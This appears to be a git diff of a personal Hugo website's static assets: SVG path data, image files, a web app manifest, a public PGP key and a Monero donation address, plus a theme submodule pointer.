-405 -917 -537 -79 -33 -145 -59 -146 -58 -11 14 -184 467 -262 688 -79 224
-85 242 -81 245 5 6 116 55 123 55 10 0 242 118 320 162 91 53 275 176 345
232 30 24 60 41 66 37 7 -3 43 -42 81 -86z m-2765 -394 c92 -50 317 -131 413
-147 17 -3 57 -10 89 -17 l59 -12 3 -300 c1 -165 5 -329 8 -365 3 -36 8 -96
11 -135 3 -38 8 -91 11 -117 6 -46 5 -48 -20 -48 -74 0 -358 74 -496 130 -100
40 -254 121 -330 174 -83 57 -85 63 -68 171 4 28 10 73 13 100 3 28 10 66 15
85 5 19 12 51 15 70 11 66 56 235 96 363 l40 128 52 -30 c29 -16 69 -38 89
-50z m5169 -173 c75 -115 174 -302 204 -386 12 -35 11 -40 -28 -117 -134 -261
-332 -541 -562 -795 -73 -80 -256 -260 -265 -260 -4 0 -38 55 -76 123 -37 67
-110 192 -161 277 l-94 154 123 121 c140 138 212 214 283 300 28 33 52 62 55
65 73 71 282 378 404 593 15 26 29 47 32 47 2 0 41 -55 85 -122z m-3483 20
c16 -46 44 -123 62 -173 37 -107 47 -132 141 -380 39 -104 78 -203 85 -220 32
-71 29 -75 -81 -106 -55 -16 -109 -31 -120 -33 -11 -3 -49 -11 -85 -20 -36 -8
-78 -17 -95 -20 -16 -3 -53 -10 -82 -15 -29 -6 -74 -13 -100 -16 -26 -4 -59
-8 -73 -11 -93 -16 -540 -28 -553 -14 -3 3 -8 41 -12 85 -3 44 -8 94 -10 110
-17 129 -30 761 -16 770 4 2 72 5 152 6 128 2 224 11 369 33 68 11 247 53 315
74 33 10 63 17 66 16 3 -2 20 -41 37 -86z m-2557 -276 c60 -109 157 -238 255
-337 l92 -93 1 -183 c0 -101 2 -202 5 -224 10 -96 18 -171 21 -187 6 -29 -8
-20 -45 30 -144 195 -233 380 -294 612 -35 131 -64 283 -72 366 -3 38 -8 72
-11 77 -2 4 -1 7 4 7 4 0 24 -31 44 -68z m6525 -79 c-9 -54 -23 -123 -30 -153
l-13 -55 -16 54 -17 54 42 104 c22 57 43 101 46 99 2 -3 -3 -49 -12 -103z
m-2184 35 c108 -136 458 -630 465 -660 9 -30 -313 -266 -579 -424 -122 -72
-399 -215 -518 -267 -113 -49 -216 -87 -228 -82 -7 2 -38 58 -69 122 -67 142
-213 463 -213 468 0 3 -11 28 -24 57 -39 85 -56 130 -56 143 0 7 37 27 83 45
113 45 401 185 522 255 136 78 361 228 470 313 50 39 95 71 101 72 7 0 27 -19
46 -42z m1990 -435 c9 -80 -2 -240 -22 -318 -35 -137 -182 -418 -328 -630 -57
-81 -192 -257 -221 -286 -9 -9 -45 -48 -80 -87 -35 -40 -67 -72 -70 -72 -4 0
-17 39 -31 88 -13 48 -43 136 -67 195 l-43 108 163 162 c170 170 191 192 298
322 134 163 283 374 356 506 16 27 31 49 34 49 4 0 9 -17 11 -37z m-5749 -120
c145 -92 430 -207 615 -248 71 -16 169 -35 230 -45 40 -7 72 -17 73 -23 6
-103 63 -369 131 -610 28 -98 48 -180 46 -182 -6 -7 -159 21 -274 50 -235 59
-481 165 -668 290 -102 68 -124 89 -132 123 -3 15 -10 41 -14 57 -9 29 -34
162 -44 235 -13 88 -26 367 -17 375 7 8 8 7 54 -22z m2420 -283 c75 -174 174
-392 243 -537 30 -63 54 -118 54 -122 0 -5 -8 -11 -17 -14 -272 -82 -548 -141
-748 -162 -33 -4 -71 -9 -85 -11 -37 -8 -511 -14 -542 -8 -24 5 -30 17 -67
132 -57 179 -108 383 -135 537 -3 17 -10 54 -16 84 -5 30 -8 56 -6 58 2 3 93
6 202 8 110 2 215 6 234 9 19 2 62 8 95 11 167 17 480 83 640 134 33 11 67 19
75 18 9 -2 38 -56 73 -137z m2014 -142 c102 -171 117 -197 180 -316 25 -45 43
-87 41 -92 -11 -32 -464 -353 -613 -435 -27 -15 -79 -44 -115 -65 -139 -81
-579 -280 -619 -280 -20 0 -338 555 -323 564 4 2 63 27 132 56 153 64 358 161
465 222 44 24 103 57 130 73 148 83 424 272 555 379 30 24 60 45 65 45 6 1 52
-68 102 -151z m-4027 -681 c88 -37 265 -100 320 -112 8 -2 40 -10 70 -18 62
-17 103 -25 225 -46 70 -13 113 -19 136 -20 10 -1 26 -22 39 -53 50 -117 108
-229 177 -347 l73 -124 -37 7 c-299 49 -603 169 -852 335 -92 61 -166 130
-234 219 -69 89 -167 250 -167 273 0 5 33 -8 73 -30 39 -22 119 -59 177 -84z
m4401 -66 c26 -84 46 -208 39 -243 -8 -41 -26 -59 -165 -164 -280 -210 -552
-361 -857 -474 l-76 -29 -49 24 c-26 14 -74 48 -105 77 -54 51 -178 196 -178
209 0 3 21 14 48 24 50 19 65 25 232 100 304 136 636 335 927 556 l118 89 22
-51 c13 -28 32 -81 44 -118z m-1907 -113 c105 -188 129 -230 188 -328 l39 -65
-58 -18 c-54 -16 -240 -65 -273 -72 -8 -2 -33 -8 -55 -13 -22 -6 -57 -13 -79
-16 -21 -4 -41 -8 -45 -10 -3 -2 -33 -7 -66 -11 -32 -3 -62 -8 -65 -10 -3 -2
-33 -6 -67 -10 -35 -4 -75 -8 -90 -10 -113 -15 -409 -23 -563 -15 l-65 3 -48
61 c-68 87 -151 223 -218 356 -32 63 -57 115 -56 116 1 1 103 4 227 8 124 3
241 8 261 10 21 3 72 9 115 15 44 6 97 13 119 16 22 2 51 7 65 10 14 3 39 7
55 10 17 3 53 10 80 15 28 6 60 12 72 14 46 9 330 86 368 100 22 8 45 15 52
15 6 1 55 -77 107 -171z m397 -630 c35 -46 97 -117 137 -160 40 -42 69 -78 65
-81 -9 -5 -192 -46 -233 -52 -35 -5 -170 -26 -200 -31 -112 -18 -529 -25 -682
-11 -42 4 -110 16 -151 26 -110 29 -316 137 -313 165 1 5 46 11 101 12 223 4
423 27 710 80 59 11 371 93 425 112 30 11 60 20 66 21 6 0 40 -36 75 -81z
m-1791 -103 c14 -2 43 -6 65 -10 27 -4 52 -17 77 -42 21 -20 36 -38 34 -41 -4
-4 -212 68 -266 93 l-35 15 50 -5 c28 -3 61 -8 75 -10z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 213 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 214 KiB

21
static/manifest.json Normal file
View File

@ -0,0 +1,21 @@
{
"name": "Golfed",
"short_name": "Golfed",
"start_url": "https://golfed.xyz",
"icons": [
{
"src": "/android-chrome-192x192.png",
"sizes": "192x192",
"type": "image/png",
"purpose": "any maskable"
},
{
"src": "/android-chrome-512x512.png",
"sizes": "512x512",
"type": "image/png"
}
],
"theme_color": "#242424",
"background_color": "#242424",
"display": "standalone"
}

17
static/pgp.txt Normal file
View File

@ -0,0 +1,17 @@
-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEZlCIMxYJKwYBBAHaRw8BAQdAdpvALccmuA1+HQH2en4H4FrvJ54273nnU40U
P7YwGbK0HFNoaWhlcmxpcyA8aGVsbG9AZ29sZmVkLnh5ej6IkwQTFgoAOxYhBBUw
9RMqEihXjStBaJle/VwbUys+BQJmr4koAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMB
Ah4HAheAAAoJEJle/VwbUys+lfwBAI3/mah+EUhrWuzmICFABlshCvaMP4oLnIdI
ISHenRKkAP41YKSqVPaaBz389nz9b3Jebjt+/7z8OOcGJ5y4BnU3Dbg4BGZQiDMS
CisGAQQBl1UBBQEBB0C8+SY+LrPTOjCvKhPNoyaCW1ShHbf1R2VOtraXhXzrRwMB
CAeIeAQYFgoAIBYhBBUw9RMqEihXjStBaJle/VwbUys+BQJmUIgzAhsMAAoJEJle
/VwbUys+ylQA/RDoFx/nA6mtsUtNP+Q6aNyesa2xJE40wNwuuq3Uv4uqAP9LnfbN
DmTPRE03SVffrO/bbMnvdMTY9z6v1/4Z9XOEA7gzBGZQiLwWCSsGAQQB2kcPAQEH
QPRzZRnfUwyki8cJZMpKzrVfVslj4s+vmER6PvIxiWpuiHgEGBYKACAWIQQVMPUT
KhIoV40rQWiZXv1cG1MrPgUCZlCIvAIbIAAKCRCZXv1cG1MrPiUmAQDRzbi7Giwq
qNj2cJELpqq3jRYf99wRRuWNAhnTfYaI6QEAyVslGqgrG0iQZvYJi+I1dqTrqKZv
UjtNoI9Z/tpVBQ4=
=WDh4
-----END PGP PUBLIC KEY BLOCK-----

1
static/xmr.txt Normal file
View File

@ -0,0 +1 @@
83B5pKorh2J58RZvF3oyxhZcxpbYnpRDCcQeETzhSKUZFvyHRWmMzepeg5NksY6f1DcCfUtQ6wphF3x3cT4bhXvWSFHe23Y

1
themes/hugo-bearcub Submodule

@ -0,0 +1 @@
Subproject commit a3f09559e465ea1255baf83345fc7fd1b2da62b3